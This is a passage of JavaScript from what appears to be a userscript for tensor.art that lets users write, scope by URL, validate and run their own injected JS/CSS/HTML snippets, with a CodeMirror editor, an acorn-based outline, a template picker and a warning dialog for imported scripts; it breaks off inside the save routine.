parts.push('<button class="bypass-ig-action" data-copy>Copy best URL</button>');
parts.push('<button class="bypass-ig-action" data-open>Open best URL</button>');
parts.push('</div>');
parts.push('<div style="margin-top:10px; font-size:11px; opacity:0.8;">Tip: works best on /p/ and /reel/ pages. If Instagram hasn\'t finished loading, click again.</div>');
panel.innerHTML = parts.join('');
panel.querySelector('[data-close]').onclick = closePanel;
panel.querySelector('[data-open]').onclick = () => window.open(best, '_blank');
panel.querySelector('[data-copy]').onclick = async () => {
try {
if (navigator.clipboard?.writeText) await navigator.clipboard.writeText(best);
ctx.toast('Copied best URL', 'success');
} catch {
ctx.toast('Copy failed (clipboard blocked).', 'error');
}
};
document.body.appendChild(panel);
};
const ensureButton = () => {
if (document.getElementById('bypass-ig-extract-btn')) return;
const btn = document.createElement('button');
btn.id = 'bypass-ig-extract-btn';
btn.type = 'button';
btn.innerHTML = '<span style="font-size:14px;">⤓</span> Extract';
btn.onclick = showPanel;
document.body.appendChild(btn);
};
ensureButton();
// Handle SPA navigation by re-installing button when URL changes.
setInterval(() => {
if (window[STATE_KEY].lastUrl !== location.href) {
window[STATE_KEY].lastUrl = location.href;
closePanel();
ensureButton();
}
}, 800);
})();
`.trim()
}
}
}
];
}
function showInjectTemplatesDialog(onPick) {
const colors = getThemeColors();
const overlay = document.createElement('div');
overlay.style.cssText = `position:fixed; inset:0; z-index:10000006; background:${settings.inheritTheme ? 'var(--mask-primary, rgba(2, 6, 23, 0.88))' : 'rgba(2, 6, 23, 0.9)'}; backdrop-filter: blur(10px); display:flex; align-items:center; justify-content:center;`;
const dialog = document.createElement('div');
dialog.style.cssText = `width:92%; max-width:860px; background:${colors.bg}; border:1px solid ${colors.border}; border-radius:18px; padding:16px; color:${colors.text}; box-shadow:0 30px 100px rgba(0,0,0,0.8); max-height:86vh; overflow:auto;`;
const templates = getDevInjectTemplates();
dialog.innerHTML = `
<div style="display:flex; align-items:center; justify-content:space-between; gap:12px; margin-bottom:10px;">
<div style="font-weight:900; font-size:15px;"><i class="fas fa-layer-group"></i> Inject Templates</div>
<button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:6px 10px;" data-x><i class="fas fa-times"></i></button>
</div>
<div style="font-size:12px; color:${colors.textSecondary}; line-height:1.6; margin-bottom:12px;">
Templates create a new inject script with safe defaults. You can edit everything afterwards.
</div>
<div data-list style="display:grid; grid-template-columns: repeat(auto-fit, minmax(260px, 1fr)); gap:10px;"></div>
`;
const close = () => overlay.remove();
dialog.querySelector('[data-x]').onclick = close;
const list = dialog.querySelector('[data-list]');
templates.forEach(tpl => {
const card = document.createElement('div');
card.style.cssText = `padding:12px; border-radius:14px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; display:flex; flex-direction:column; gap:10px;`;
card.innerHTML = `
<div style="font-weight:900; font-size:13px;">${escapeHtml(tpl.name)}</div>
<div style="font-size:12px; color:${colors.textSecondary}; line-height:1.55;">${escapeHtml(tpl.description || '')}</div>
<div style="display:flex; gap:8px; justify-content:flex-end;">
<button class="bypass-btn bypass-btn-primary" style="width:auto; padding:8px 12px; font-size:11px; font-weight:900;" data-use>Use template</button>
</div>
`;
card.querySelector('[data-use]').onclick = () => {
close();
if (onPick) onPick(tpl);
};
list.appendChild(card);
});
overlay.appendChild(dialog);
overlay.addEventListener('click', (e) => { if (e.target === overlay) close(); });
document.body.appendChild(overlay);
}
function showSecurityImportDialog({ title, hits, onConfirm }) {
const colors = getThemeColors();
const overlay = document.createElement('div');
overlay.style.cssText = `position:fixed; inset:0; z-index:10000004; background:${settings.inheritTheme ? 'var(--mask-primary, rgba(0,0,0,0.82))' : 'rgba(0,0,0,0.82)'}; backdrop-filter: blur(10px); display:flex; align-items:center; justify-content:center;`;
const dialog = document.createElement('div');
dialog.style.cssText = `width:92%; max-width:720px; background:${colors.bg}; border:2px solid ${colors.warning}; border-radius:18px; padding:18px; color:${colors.text}; box-shadow:0 30px 100px rgba(0,0,0,0.8);`;
const list = (hits || []).map(h => `<li style="margin:6px 0;">${escapeHtml(h)}</li>`).join('');
dialog.innerHTML = `
<div style="display:flex; align-items:center; justify-content:space-between; gap:12px;">
<div style="font-weight:900; font-size:15px; color:${colors.warning}; display:flex; gap:10px; align-items:center;"><i class="fas fa-shield-halved"></i> ${escapeHtml(title || 'Security warning')}</div>
<button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:6px 10px;" data-x><i class="fas fa-times"></i></button>
</div>
<div style="margin-top:10px; font-size:12px; color:${colors.textSecondary}; line-height:1.6;">
The imported script appears to contain potentially sensitive operations. This doesn’t automatically mean it’s malicious, but you should only continue if you trust the source.
</div>
<div style="margin-top:10px; padding:10px 12px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bgSecondary};">
<div style="font-weight:800; font-size:12px; margin-bottom:6px; color:${colors.text};"><i class="fas fa-magnifying-glass"></i> Detected patterns</div>
<ul style="margin:0; padding-left:18px; font-size:12px; color:${colors.textSecondary};">${list || '<li>No patterns detected</li>'}</ul>
</div>
<div style="display:flex; gap:10px; justify-content:flex-end; margin-top:14px;">
<button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 12px;" data-cancel>Reject</button>
<button class="bypass-btn bypass-btn-primary" style="width:auto; padding:8px 12px;" data-ok>Import anyway</button>
</div>
`;
const close = () => overlay.remove();
dialog.querySelector('[data-x]').onclick = close;
dialog.querySelector('[data-cancel]').onclick = close;
dialog.querySelector('[data-ok]').onclick = () => {
close();
if (onConfirm) onConfirm();
};
overlay.appendChild(dialog);
overlay.addEventListener('click', (e) => { if (e.target === overlay) close(); });
document.body.appendChild(overlay);
}
// Optional external libraries (best-effort): CodeMirror + acorn.
const externalLibs = {
codemirror: { loaded: false, loading: null },
acorn: { loaded: false, loading: null }
};
function loadCssOnce(url) {
return new Promise((resolve, reject) => {
if (document.querySelector(`link[href="${url}"]`)) return resolve(true);
const l = document.createElement('link');
l.rel = 'stylesheet';
l.href = url;
l.onload = () => resolve(true);
l.onerror = () => reject(new Error(`Failed loading css ${url}`));
document.head.appendChild(l);
});
}
function loadScriptOnce(url) {
return new Promise((resolve, reject) => {
if (document.querySelector(`script[src="${url}"]`)) return resolve(true);
const s = document.createElement('script');
s.src = url;
s.async = true;
s.onload = () => resolve(true);
s.onerror = () => reject(new Error(`Failed loading script ${url}`));
document.head.appendChild(s);
});
}
async function ensureCodeMirror() {
if (externalLibs.codemirror.loaded) return true;
if (externalLibs.codemirror.loading) return externalLibs.codemirror.loading;
externalLibs.codemirror.loading = (async () => {
try {
await loadCssOnce('https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/codemirror.min.css');
await loadCssOnce('https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/theme/material-darker.min.css');
await loadScriptOnce('https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/codemirror.min.js');
await loadScriptOnce('https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/javascript/javascript.min.js');
await loadScriptOnce('https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/css/css.min.js');
await loadScriptOnce('https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/xml/xml.min.js');
await loadScriptOnce('https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/htmlmixed/htmlmixed.min.js');
externalLibs.codemirror.loaded = typeof window.CodeMirror === 'function';
return externalLibs.codemirror.loaded;
} catch (err) {
if (domInjectDebug) console.warn('[InjectEditor] CodeMirror failed to load:', err);
return false;
}
})();
return externalLibs.codemirror.loading;
}
async function ensureAcorn() {
if (externalLibs.acorn.loaded) return true;
if (externalLibs.acorn.loading) return externalLibs.acorn.loading;
externalLibs.acorn.loading = (async () => {
try {
await loadScriptOnce('https://cdnjs.cloudflare.com/ajax/libs/acorn/8.11.3/acorn.min.js');
externalLibs.acorn.loaded = !!window.acorn?.parse;
return externalLibs.acorn.loaded;
} catch (err) {
if (domInjectDebug) console.warn('[InjectEditor] Acorn failed to load:', err);
return false;
}
})();
return externalLibs.acorn.loading;
}
function buildJsOutline(code) {
try {
if (!window.acorn?.parse) return [];
const ast = window.acorn.parse(String(code || ''), { ecmaVersion: 'latest', sourceType: 'script', locations: true });
const items = [];
const walk = (node, parent) => {
if (!node || typeof node.type !== 'string') return;
if (node.type === 'FunctionDeclaration' && node.id?.name) {
items.push({ type: 'function', name: node.id.name, line: node.loc?.start?.line || 1 });
}
if (node.type === 'ClassDeclaration' && node.id?.name) {
items.push({ type: 'class', name: node.id.name, line: node.loc?.start?.line || 1 });
}
if (node.type === 'VariableDeclaration') {
for (const d of node.declarations || []) {
if (d.id?.name) {
items.push({ type: 'var', name: d.id.name, line: d.loc?.start?.line || node.loc?.start?.line || 1 });
}
}
}
for (const k of Object.keys(node)) {
const v = node[k];
if (!v) continue;
if (Array.isArray(v)) v.forEach(ch => ch && typeof ch.type === 'string' && walk(ch, node));
else if (v && typeof v.type === 'string') walk(v, node);
}
};
walk(ast, null);
// De-dupe by (type+name+line)
const seen = new Set();
return items.filter(it => {
const key = `${it.type}:${it.name}:${it.line}`;
if (seen.has(key)) return false;
seen.add(key);
return true;
}).slice(0, 300);
} catch {
return [];
}
}
function tryParseJsForError(code) {
if (!window.acorn?.parse) return null;
try {
window.acorn.parse(String(code || ''), { ecmaVersion: 'latest', sourceType: 'script', locations: true });
return null;
} catch (err) {
return {
message: String(err?.message || err),
line: err?.loc?.line || null,
column: err?.loc?.column || null
};
}
}
function showInjectEditorDialog(taskId) {
const tasks = loadDevInjectTasks();
const task = tasks.find(t => t.id === taskId);
if (!task) {
showToast('Inject task not found', 'error');
return;
}
const colors = getThemeColors();
let ruleMenuResizeHandler = null;
let validateTimer = null;
const overlay = document.createElement('div');
overlay.className = 'bypass-inject-editor';
overlay.style.cssText = `
position: fixed;
inset: 0;
z-index: 10000005;
background: ${settings.inheritTheme ? 'var(--mask-primary, rgba(2, 6, 23, 0.92))' : 'rgba(2, 6, 23, 0.96)'};
backdrop-filter: blur(10px);
display: flex;
flex-direction: column;
color: ${colors.text};
`;
let leftOpen = true;
let activeCodeTab = 'js';
const state = {
js: task.code.js || '',
css: task.code.css || '',
html: task.code.html || ''
};
const header = document.createElement('div');
header.style.cssText = `display:flex; gap:12px; align-items:center; justify-content:space-between; padding:12px 14px; border-bottom:1px solid ${colors.border}; background:${colors.bgSecondary};`;
header.innerHTML = `
<div style="display:flex; flex-direction:column; gap:4px; min-width:0;">
<div style="font-weight:900; font-size:15px; white-space:nowrap; overflow:hidden; text-overflow:ellipsis;">
<i class="fas fa-code"></i> Develop • ${escapeHtml(task.name)}
</div>
<div style="font-size:11px; color:${colors.textSecondary};">Edit JS / CSS / HTML. Changes are stored locally only.</div>
</div>
<div style="display:flex; gap:8px; align-items:center;">
<label style="display:flex; gap:8px; align-items:center; font-size:12px; color:${colors.textSecondary}; cursor:pointer;">
<input type="checkbox" data-enabled ${task.enabled ? 'checked' : ''} />
<span>Enabled</span>
</label>
<button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 12px;" data-close><i class="fas fa-times"></i> Close</button>
</div>
`;
const close = () => {
try {
if (ruleMenuResizeHandler) window.removeEventListener('resize', ruleMenuResizeHandler);
} catch {
// no-op
}
try {
if (validateTimer) clearTimeout(validateTimer);
} catch {
// no-op
}
overlay.remove();
};
header.querySelector('[data-close]').onclick = close;
const enabledInput = header.querySelector('[data-enabled]');
const body = document.createElement('div');
body.style.cssText = 'flex:1; display:flex; min-height:0;';
const left = document.createElement('div');
left.style.cssText = `width: 310px; border-right:1px solid ${colors.border}; background:${colors.bg}; min-height:0; display:flex; flex-direction:column; transition: width 0.2s ease; overflow:hidden;`;
const leftHeader = document.createElement('div');
leftHeader.style.cssText = `padding:10px 12px; border-bottom:1px solid ${colors.border}; background:${colors.bgSecondary}; display:flex; align-items:center; justify-content:space-between; gap:10px;`;
leftHeader.innerHTML = `
<div data-left-title style="font-weight:900; font-size:12px; color:${colors.text}; white-space:nowrap; overflow:hidden; text-overflow:ellipsis;"><i class="fas fa-sliders"></i> Inject Conditions</div>
<button class="bypass-btn bypass-btn-secondary" style="width:34px; min-width:34px; flex:0 0 34px; padding:6px 0; font-size:12px; border-radius:10px;" data-toggle title="Collapse/expand"><i class="fas fa-angle-left"></i></button>
`;
const leftToggleBtn = leftHeader.querySelector('[data-toggle]');
const leftTitle = leftHeader.querySelector('[data-left-title]');
const updateLeftOpen = () => {
leftOpen = !leftOpen;
if (leftOpen) {
left.style.width = '310px';
leftToggleBtn.innerHTML = '<i class="fas fa-angle-left"></i>';
leftHeader.style.padding = '10px 12px';
leftHeader.style.justifyContent = 'space-between';
if (leftTitle) leftTitle.style.display = 'block';
} else {
left.style.width = '44px';
leftToggleBtn.innerHTML = '<i class="fas fa-angle-right"></i>';
leftHeader.style.padding = '8px';
leftHeader.style.justifyContent = 'center';
if (leftTitle) leftTitle.style.display = 'none';
}
left.querySelectorAll('[data-left-body]').forEach(el => {
el.style.display = leftOpen ? 'block' : 'none';
});
};
leftToggleBtn.onclick = updateLeftOpen;
const leftBody = document.createElement('div');
leftBody.setAttribute('data-left-body', 'true');
leftBody.style.cssText = 'padding:12px; overflow:auto; display:block;';
const mkRow = (label, inputEl, help) => {
const row = document.createElement('div');
row.style.cssText = 'display:flex; flex-direction:column; gap:6px; margin-bottom:12px;';
const l = document.createElement('div');
l.style.cssText = `font-size:11px; font-weight:800; color:${colors.text}; display:flex; gap:8px; align-items:center;`;
l.textContent = label;
row.appendChild(l);
row.appendChild(inputEl);
if (help) {
const h = document.createElement('div');
h.style.cssText = `font-size:11px; color:${colors.textSecondary}; line-height:1.5;`;
h.textContent = help;
row.appendChild(h);
}
return row;
};
const matchMode = document.createElement('select');
matchMode.style.cssText = `padding:8px 10px; border-radius:10px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; color:${colors.text}; font-size:12px;`;
matchMode.innerHTML = `<option value="all">All pages (supported domains)</option><option value="rules">URL rules</option>`;
matchMode.value = task.matchMode || 'all';
leftBody.appendChild(mkRow('Match mode', matchMode, 'Use URL rules to run only on specific pages.'));
const domainsWrap = document.createElement('div');
domainsWrap.style.cssText = 'display:flex; flex-direction:column; gap:8px;';
const domainItems = [
{ id: 'tensor.art', label: 'tensor.art' },
{ id: 'tensorhub.art', label: 'tensorhub.art' },
{ id: '*', label: 'All domains (*)' }
];
const domainChecks = new Map();
domainItems.forEach(d => {
const row = document.createElement('label');
row.style.cssText = 'display:flex; gap:8px; align-items:center; font-size:12px; color:' + colors.textSecondary + '; cursor:pointer;';
const cb = document.createElement('input');
cb.type = 'checkbox';
cb.checked = (task.domains || []).includes(d.id);
domainChecks.set(d.id, cb);
row.appendChild(cb);
row.appendChild(document.createTextNode(d.label));
domainsWrap.appendChild(row);
});
leftBody.appendChild(mkRow('Domains', domainsWrap, 'Choose where this script is allowed to run.'));
const includeTa = document.createElement('textarea');
includeTa.rows = 4;
includeTa.placeholder = 'One wildcard pattern per line\nExample:\nhttps://tensor.art/create*\n*generation*';
includeTa.value = (task.include || []).join('\n');
includeTa.style.cssText = `width:100%; padding:10px 10px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; color:${colors.text}; font-size:12px; font-family: Consolas, 'Courier New', monospace; resize: vertical;`;
leftBody.appendChild(mkRow('Include URL patterns', includeTa, 'Only used when Match mode = URL rules.'));
const excludeTa = document.createElement('textarea');
excludeTa.rows = 3;
excludeTa.placeholder = 'Exclude patterns (optional)\nExample:\n*/settings*';
excludeTa.value = (task.exclude || []).join('\n');
excludeTa.style.cssText = `width:100%; padding:10px 10px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; color:${colors.text}; font-size:12px; font-family: Consolas, 'Courier New', monospace; resize: vertical;`;
leftBody.appendChild(mkRow('Exclude URL patterns', excludeTa, 'Exclude rules override include rules.'));
// Lightweight "autocomplete" / quick insert for URL rules (keeps things fast and predictable)
const ruleMenu = document.createElement('div');
ruleMenu.style.cssText = `
position: fixed;
z-index: 10000080;
display: none;
width: 360px;
max-width: calc(100vw - 24px);
background: ${colors.bg};
border: 1px solid ${colors.border};
border-radius: 14px;
box-shadow: 0 30px 90px rgba(0,0,0,0.75);
overflow: hidden;
`;
ruleMenu.innerHTML = `
<div style="padding:10px 12px; background:${colors.bgSecondary}; border-bottom:1px solid ${colors.border}; display:flex; align-items:center; justify-content:space-between; gap:10px;">
<div style="font-weight:900; font-size:12px;"><i class=\"fas fa-wand-magic-sparkles\" style=\"color:${colors.primary}; margin-right:8px;\"></i>Quick URL patterns</div>
<button class="bypass-btn bypass-btn-secondary" style="width:34px; min-width:34px; padding:6px 0;" data-close title="Close"><i class="fas fa-times"></i></button>
</div>
<div style="padding:10px 12px; display:flex; flex-direction:column; gap:8px; max-height: 260px; overflow:auto;" data-body></div>
<div style="padding:10px 12px; border-top:1px solid ${colors.border}; background:${colors.bgSecondary}; font-size:11px; color:${colors.textSecondary}; line-height:1.5;">
Click an entry to insert it as a new line at the cursor.
</div>
`;
overlay.appendChild(ruleMenu);
let ruleMenuTarget = null;
const closeRuleMenu = () => {
ruleMenu.style.display = 'none';
ruleMenuTarget = null;
};
ruleMenu.querySelector('[data-close]').onclick = (e) => {
e.stopPropagation();
closeRuleMenu();
};
const insertLineAtCursor = (ta, line) => {
const val = String(ta.value || '');
const start = ta.selectionStart ?? val.length;
const end = ta.selectionEnd ?? val.length;
const before = val.slice(0, start);
const after = val.slice(end);
const needsNewlineBefore = before.length && !before.endsWith('\n');
const needsNewlineAfter = after.length && !after.startsWith('\n');
const insert = (needsNewlineBefore ? '\n' : '') + line + (needsNewlineAfter ? '\n' : '');
ta.value = before + insert + after;
const pos = (before + insert).length;
ta.focus();
try { ta.setSelectionRange(pos, pos); } catch { /* no-op */ }
};
const getSuggestedRules = () => {
const base = location.origin;
const host = location.host;
const common = [
`${base}/*`,
`${base}/create*`,
`${base}/models*`,
`${base}/works*`,
`${base}/notifications*`,
`*generation*`,
`*/settings*`,
`*/login*`
];
// A couple of multi-domain friendly patterns
const extra = [
`https://${host}/*`,
`*://${host}/*`
];
const uniq = [];
const seen = new Set();
[...common, ...extra].forEach(r => {
const key = String(r).trim();
if (!key) return;
if (seen.has(key)) return;
seen.add(key);
uniq.push(key);
});
return uniq.slice(0, 20);
};
const openRuleMenu = (ta) => {
ruleMenuTarget = ta;
const rect = ta.getBoundingClientRect();
const width = Math.min(420, Math.max(320, rect.width));
ruleMenu.style.width = width + 'px';
// Prefer below the textarea; fall back above if too low
const desiredTop = rect.bottom + 10;
const menuHeightGuess = 320;
const top = (desiredTop + menuHeightGuess > window.innerHeight - 10) ? Math.max(10, rect.top - menuHeightGuess - 10) : desiredTop;
const left = Math.min(window.innerWidth - width - 10, Math.max(10, rect.left));
ruleMenu.style.left = left + 'px';
ruleMenu.style.top = top + 'px';
const bodyEl = ruleMenu.querySelector('[data-body]');
bodyEl.innerHTML = '';
getSuggestedRules().forEach(rule => {
const btn = document.createElement('button');
btn.className = 'bypass-btn bypass-btn-secondary';
btn.style.cssText = `width:100%; justify-content:flex-start; padding:9px 10px; font-size:11px; text-transform:none; letter-spacing:0; border-radius:12px;`;
btn.innerHTML = `<i class="fas fa-plus" style="color:${colors.primary};"></i><span style="font-family:Consolas, 'Courier New', monospace; word-break:break-all;">${escapeHtml(rule)}</span>`;
btn.onclick = (e) => {
e.stopPropagation();
if (!ruleMenuTarget) return;
insertLineAtCursor(ruleMenuTarget, rule);
refreshTest();
showToast('Rule inserted', 'success');
};
bodyEl.appendChild(btn);
});
ruleMenu.style.display = 'block';
};
const attachRuleAutocomplete = (ta) => {
ta.addEventListener('focus', () => openRuleMenu(ta));
ta.addEventListener('click', (e) => {
e.stopPropagation();
openRuleMenu(ta);
});
};
attachRuleAutocomplete(includeTa);
attachRuleAutocomplete(excludeTa);
overlay.addEventListener('click', (e) => {
// Close menu when clicking outside it
if (ruleMenu.style.display === 'block' && !ruleMenu.contains(e.target)) {
closeRuleMenu();
}
});
ruleMenuResizeHandler = () => {
if (ruleMenuTarget && ruleMenu.style.display === 'block') openRuleMenu(ruleMenuTarget);
};
window.addEventListener('resize', ruleMenuResizeHandler);
const runAt = document.createElement('select');
runAt.style.cssText = `padding:8px 10px; border-radius:10px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; color:${colors.text}; font-size:12px;`;
runAt.innerHTML = `<option value="domcontentloaded">Run at DOMContentLoaded</option><option value="idle">Run after page idle</option>`;
runAt.value = task.runAt || 'idle';
leftBody.appendChild(mkRow('Run timing', runAt, 'Idle is safer for pages that build UI asynchronously.'));
const test = document.createElement('div');
test.style.cssText = `padding:10px 12px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; font-size:11px; color:${colors.textSecondary}; line-height:1.6;`;
const refreshTest = () => {
const domains = [];
domainChecks.forEach((cb, id) => { if (cb.checked) domains.push(id); });
const probe = normalizeDevInjectTask({
...task,
domains,
matchMode: matchMode.value,
include: includeTa.value.split(/\r?\n/).map(s => s.trim()).filter(Boolean),
exclude: excludeTa.value.split(/\r?\n/).map(s => s.trim()).filter(Boolean)
});
const ok = doesInjectTaskMatchUrl(probe, location.href);
test.innerHTML = `<div style="font-weight:800; color:${ok ? colors.success : colors.error};"><i class="fas ${ok ? 'fa-circle-check' : 'fa-circle-xmark'}"></i> Match test: ${ok ? 'MATCHES current URL' : 'does NOT match current URL'}</div><div style="margin-top:6px; font-family:Consolas, 'Courier New', monospace; opacity:0.9;">${escapeHtml(location.href)}</div>`;
};
refreshTest();
[matchMode, includeTa, excludeTa].forEach(el => el.addEventListener('input', refreshTest));
domainChecks.forEach(cb => cb.addEventListener('change', refreshTest));
leftBody.appendChild(test);
left.appendChild(leftHeader);
left.appendChild(leftBody);
const center = document.createElement('div');
center.style.cssText = 'flex:1; min-width:0; display:flex; flex-direction:column;';
const tabs = document.createElement('div');
tabs.style.cssText = `display:flex; gap:8px; align-items:center; padding:10px 12px; border-bottom:1px solid ${colors.border}; background:${colors.bgSecondary};`;
const mkCodeTab = (id, label, icon) => {
const b = document.createElement('button');
b.className = 'bypass-btn bypass-btn-secondary';
b.style.cssText = `width:auto; padding:8px 10px; font-size:11px; border:${id === activeCodeTab ? '1px solid rgba(99,102,241,0.9)' : ''};`;
b.innerHTML = `<i class="fas ${icon}"></i> ${label}`;
b.onclick = () => {
activeCodeTab = id;
refreshEditorsVisibility();
};
return b;
};
const jsBtn = mkCodeTab('js', 'JavaScript', 'fa-js');
const cssBtn = mkCodeTab('css', 'CSS', 'fa-paintbrush');
const htmlBtn = mkCodeTab('html', 'HTML', 'fa-code');
tabs.appendChild(jsBtn);
tabs.appendChild(cssBtn);
tabs.appendChild(htmlBtn);
const status = document.createElement('div');
status.style.cssText = `margin-left:auto; font-size:11px; color:${colors.textSecondary}; display:flex; gap:8px; align-items:center;`;
status.innerHTML = '<i class="fas fa-bolt"></i> Ready';
tabs.appendChild(status);
const editorHost = document.createElement('div');
editorHost.style.cssText = `flex:1; min-height:0; display:flex; flex-direction:column; background:${colors.bg};`;
const mkTA = () => {
const ta = document.createElement('textarea');
ta.spellcheck = false;
ta.style.cssText = `flex:1; width:100%; min-height:0; border:none; outline:none; resize:none; padding:12px; background:${colors.bg}; color:${colors.text}; font-size:12px; font-family:Consolas, 'Courier New', monospace; line-height:1.55;`;
return ta;
};
const jsTA = mkTA();
const cssTA = mkTA();
const htmlTA = mkTA();
jsTA.value = state.js;
cssTA.value = state.css;
htmlTA.value = state.html;
editorHost.appendChild(jsTA);
editorHost.appendChild(cssTA);
editorHost.appendChild(htmlTA);
const footer = document.createElement('div');
footer.style.cssText = `display:flex; gap:10px; justify-content:space-between; align-items:center; padding:10px 12px; border-top:1px solid ${colors.border}; background:${colors.bgSecondary};`;
const leftFooter = document.createElement('div');
leftFooter.style.cssText = `font-size:11px; color:${colors.textSecondary}; display:flex; gap:8px; align-items:center;`;
leftFooter.innerHTML = '<i class="fas fa-circle-info"></i> Tip: Use URL rules to keep scripts scoped.';
const rightFooter = document.createElement('div');
rightFooter.style.cssText = 'display:flex; gap:8px; align-items:center;';
const saveBtn = document.createElement('button');
saveBtn.className = 'bypass-btn bypass-btn-primary';
saveBtn.style.cssText = 'width:auto; padding:10px 14px; font-size:12px; font-weight:800;';
saveBtn.innerHTML = '<i class="fas fa-save"></i> Save';
const runNowBtn = document.createElement('button');
runNowBtn.className = 'bypass-btn bypass-btn-secondary';
runNowBtn.style.cssText = 'width:auto; padding:10px 14px; font-size:12px;';
runNowBtn.innerHTML = '<i class="fas fa-play"></i> Run now';
rightFooter.appendChild(runNowBtn);
rightFooter.appendChild(saveBtn);
footer.appendChild(leftFooter);
footer.appendChild(rightFooter);
const outline = document.createElement('div');
outline.style.cssText = `width: 280px; border-left:1px solid ${colors.border}; background:${colors.bg}; min-height:0; display:flex; flex-direction:column;`;
const outlineHeader = document.createElement('div');
outlineHeader.style.cssText = `padding:10px 12px; border-bottom:1px solid ${colors.border}; background:${colors.bgSecondary}; font-weight:800; font-size:12px;`;
outlineHeader.innerHTML = '<i class="fas fa-sitemap"></i> Outline';
const outlineBody = document.createElement('div');
outlineBody.style.cssText = 'padding:10px 10px; overflow:auto; display:flex; flex-direction:column; gap:6px;';
outline.appendChild(outlineHeader);
outline.appendChild(outlineBody);
const refreshOutline = () => {
outlineBody.innerHTML = '';
const items = buildJsOutline(state.js);
if (!items.length) {
const e = document.createElement('div');
e.style.cssText = `font-size:11px; color:${colors.textSecondary};`;
e.textContent = 'No symbols found (or parser unavailable).';
outlineBody.appendChild(e);
return;
}
items.forEach(it => {
const row = document.createElement('button');
row.className = 'bypass-btn bypass-btn-secondary';
row.style.cssText = 'width:100%; justify-content:flex-start; padding:8px 10px; font-size:11px; gap:8px;';
const icon = it.type === 'class' ? 'fa-cube' : it.type === 'function' ? 'fa-function' : 'fa-tag';
row.innerHTML = `<i class="fas ${icon}" style="color:${colors.primary};"></i><span style="flex:1; text-align:left; white-space:nowrap; overflow:hidden; text-overflow:ellipsis;">${escapeHtml(it.name)}</span><span style="color:${colors.textSecondary}; font-family:Consolas, 'Courier New', monospace;">L${it.line}</span>`;
row.onclick = () => {
// Jump to line (best-effort)
try {
if (jsEditor && typeof jsEditor.setCursor === 'function') {
jsEditor.focus();
jsEditor.setCursor({ line: Math.max(0, (it.line || 1) - 1), ch: 0 });
jsEditor.scrollIntoView({ line: Math.max(0, (it.line || 1) - 1), ch: 0 }, 120);
} else {
// Fallback: scroll textarea roughly
activeCodeTab = 'js';
refreshEditorsVisibility();
const lines = jsTA.value.split(/\r?\n/);
const pos = Math.max(0, Math.min(lines.length - 1, (it.line || 1) - 1));
const before = lines.slice(0, pos).join('\n').length;
jsTA.focus();
jsTA.setSelectionRange(before, before);
}
} catch {
// no-op
}
};
outlineBody.appendChild(row);
});
};
let jsEditor = null;
let cssEditor = null;
let htmlEditor = null;
let jsErrorLine = null;
const setStatus = (html) => {
status.innerHTML = html;
};
const clearJsErrorHighlight = () => {
try {
if (jsEditor && jsErrorLine != null) {
jsEditor.removeLineClass(jsErrorLine, 'background', 'bypass-code-error-line');
jsErrorLine = null;
}
} catch {
// no-op
}
};
const markJsErrorHighlight = (line) => {
try {
if (jsEditor && typeof line === 'number' && line >= 0) {
clearJsErrorHighlight();
jsErrorLine = line;
jsEditor.addLineClass(line, 'background', 'bypass-code-error-line');
}
} catch {
// no-op
}
};
const validateJs = () => {
const err = tryParseJsForError(state.js);
if (!err) {
clearJsErrorHighlight();
setStatus('<i class="fas fa-circle-check" style="color:#10b981;"></i> JS OK');
return;
}
const where = (err.line != null) ? `L${err.line}${err.column != null ? ':' + err.column : ''}` : 'unknown';
setStatus(`<i class="fas fa-triangle-exclamation" style="color:#ef4444;"></i> JS error @ ${escapeHtml(where)} • ${escapeHtml(err.message)}`);
if (err.line != null) markJsErrorHighlight(Math.max(0, err.line - 1));
};
const scheduleValidate = () => {
if (validateTimer) clearTimeout(validateTimer);
validateTimer = setTimeout(() => {
validateJs();
refreshOutline();
}, 250);
};
const refreshEditorsVisibility = () => {
// Update button styles
[jsBtn, cssBtn, htmlBtn].forEach(b => b.classList.remove('bypass-btn-primary'));
jsBtn.className = 'bypass-btn ' + (activeCodeTab === 'js' ? 'bypass-btn-primary' : 'bypass-btn-secondary');
cssBtn.className = 'bypass-btn ' + (activeCodeTab === 'css' ? 'bypass-btn-primary' : 'bypass-btn-secondary');
htmlBtn.className = 'bypass-btn ' + (activeCodeTab === 'html' ? 'bypass-btn-primary' : 'bypass-btn-secondary');
jsBtn.style.width = cssBtn.style.width = htmlBtn.style.width = 'auto';
jsBtn.style.padding = cssBtn.style.padding = htmlBtn.style.padding = '8px 10px';
jsBtn.style.fontSize = cssBtn.style.fontSize = htmlBtn.style.fontSize = '11px';
// Show/hide
const show = (ta, id) => { ta.style.display = activeCodeTab === id ? 'block' : 'none'; };
show(jsTA, 'js');
show(cssTA, 'css');
show(htmlTA, 'html');
if (jsEditor) jsEditor.getWrapperElement().style.display = activeCodeTab === 'js' ? 'block' : 'none';
if (cssEditor) cssEditor.getWrapperElement().style.display = activeCodeTab === 'css' ? 'block' : 'none';
if (htmlEditor) htmlEditor.getWrapperElement().style.display = activeCodeTab === 'html' ? 'block' : 'none';
};
jsTA.addEventListener('input', () => { state.js = jsTA.value; scheduleValidate(); });
cssTA.addEventListener('input', () => { state.css = cssTA.value; });
htmlTA.addEventListener('input', () => { state.html = htmlTA.value; });
const doSave = () => {
const domains = [];
domainChecks.forEach((cb, id) => { if (cb.checked) domains.push(id); });
if (!domains.length) domains.push(location.hostname);
const patch = {
enabled: !!enabledInput.checked,
matchMode: matchMode.value,
runAt: runAt.value,
domains,
